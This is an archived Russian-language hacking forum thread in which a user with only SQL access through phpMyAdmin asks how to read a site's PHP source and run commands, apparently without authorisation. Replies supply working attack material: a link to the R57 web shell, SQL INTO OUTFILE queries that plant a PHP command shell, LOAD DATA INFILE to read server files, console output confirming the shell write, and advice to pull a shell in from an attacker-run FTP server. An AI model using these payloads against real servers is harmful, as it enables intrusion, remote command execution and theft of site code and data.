PDA

Просмотр полной версии : MySQL...вопрос на засыпку...


RedBull@12
16.11.2006, 23:39
Здравствуйте...

у меня такой вопорс к экспертам форума...
у меня есть phpMyAdmin...могу зайти в тестовом режиме...и могу выполнять SQL запросы...можно ли сформировать такой запрос чтобы, допустим качнуть файл из директории /home/docs/htdocs/index.php
в его чистом виде...т.е до обработки его сервером.

если да то помогите составить запрос...или как выполнить какую-нибдуь команду...

Заранее спасибо...надеюсь на фашу помощь...

С наилучшими пожеланиями!

nc.STRIEM
17.11.2006, 00:21
заливай шелл и качай че хош!
R57shell (http://striem.narod.ru/r57shell.txt)

LoFFi
17.11.2006, 00:28
Читай статью про MySQL у меня в подписи.

Вкратце:

В phpmyadmin есть функция выполнения произвольного SQL кода. Тебе нужно знать лишь установочную дирректорию сайта. Дальше лазишь по phpmyadmin и находишь таблицу и смотришь колличество ее столбцов. и составляешь запрос по типу

UNION SELECT 1,2,3...кол-во столбцов и в последнем <?php system($_GET[c]);?> FROM имя_таблицы INTO OUTFILE тут_в_одинарных_ковычках_пу ть_к_файлу_куда_писать


НО! данная вещь сработает только если у твоего юзера есть права file_priv

RedBull@12
17.11.2006, 01:02
nc.STRIEM
..наверно очень глупый вопрос,но все же как залить файл на сервак если у меня нету прав админа...у меня есть только строка выполняющая мои SQL запросы...очень плохо шарю в MySQL...
LoFFi
твой способ еще не порбывал не было времени, но всеравно спасибо...
заранее спасибо

nc.STRIEM
17.11.2006, 01:20
UNION SELECT 1,2,3...кол-во столбцов и в последнем <?php system($_GET[c]);?> FROM имя_таблицы INTO OUTFILE тут_в_одинарных_ковычках_пу ть_к_файлу_куда_писать

после этого ты получаеш доступ к cmd! далее можеш поднять ftp на своем компе, это можно сделать при помощи RPC GUI после чего, использую команды cmd залить шел!

_Great_
17.11.2006, 08:30
Прочитать файл можно и в MySQL.

CREATE TABLE `c` (`t` TEXT);
LOAD DATA INFILE '/home/.../admin.php' INTO TABLE `c`;
SELECT * FROM `c`;


А запись шелла делается проще -
SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/home/.../shell.php';

Безо всяких 1,2,3.. и FROM `table`

RedBull@12
17.11.2006, 10:27
всем большое спасибо...
но мне сервер выдает постоянно ошибку...т.е базы он создает...но не выполняет нужный код
CREATE TABLE `c` (`t` TEXT);
LOAD DATA INFILE '/home/.../admin.php'
INTO TABLE `c`; SELECT * FROM `c`;
т.е. первую и последнию строку он читает а вот второрую нет и от вечает мне
#1045 - Access denied for user ''@'localhost' (using password: NO)
получается он фильтрует данную шнягу,а еще вопрос можно через SQL-запрос поставить пасс на весь аккаунт БД,может он тогда успокоится, или проще забить?

madnet
17.11.2006, 11:44
>#1045 - Access denied for user ''@'localhost' (using password: NO)

Запрещена работа с файлами, так что ты ничего не прочитаеш и не сохраниш

>можно через SQL-запрос поставить пасс на весь аккаунт БД

Если у тебя есть доступ к БД mysql то можеш, если полный доступ, то можеш и права на запись поставить, хотя в этом сильно сомневаюсь.

RedBull@12
17.11.2006, 12:16
ладно чуваки большое спасибо за помощь....обидно...
ну ничто долаем=))
...я думаю тема закрыта...
С наилучшими пожеланиями!

_Great_
17.11.2006, 18:40
LoFFi, готов поспорить))

H:\>mysql -u root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 2 to server version: 4.1.12a-max

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> select '<? shellcode ?>' into outfile 'h:\shell.php';
Query OK, 1 row affected (0.03 sec)

mysql> quit
Bye

H:\>type shell.php
<? shellcode ?>

H:\>

_Great_
17.11.2006, 18:41
т.е. первую и последнию строку он читает а вот второрую нет и от вечает мне
Код:

#1045 - Access denied for user ''@'localhost' (using password: NO)


получается он фильтрует данную шнягу,а еще вопрос можно через SQL-запрос поставить пасс на весь аккаунт БД,может он тогда успокоится, или проще забить?

прав нет на чтение файлов

LoFFi
17.11.2006, 18:53
в консоли под рутом то выполнеться, а вот в инжекте нет.

_Great_
17.11.2006, 18:57
Он сказал, что у него phpMyAdmin. Там выполнить это не вопрос.
Вот не под рутом:

mysql> select user();
+-----------------+
| user() |
+-----------------+
| great@localhost |
+-----------------+
1 row in set (0.02 sec)

mysql> select '<? phpinfo(); ?>' into outfile 'h:\a.php';
Query OK, 1 row affected (0.00 sec)

mysql> quit;
Bye

H:\>type a.php
<? phpinfo(); ?>

Насчет того, что select не выполнится без from - кому курить мануал еще вопрос.... ;)

RedBull@12
18.11.2006, 02:43
я смотрю у вас такой спор:)...
так что можно про это все забыть?
а и еще один вопросик...можно ли что-то вытащить из phpinfo.php файла?
заранее спасибо.
P.S.: Извиняюсь за может быть глупые вопросы...новичек в MySQL+php

_Great_
18.11.2006, 22:16
можно ли что-то вытащить из phpinfo.php файла?
phpinfo() выдает инфу о конфигурации сервера, Apache и PHP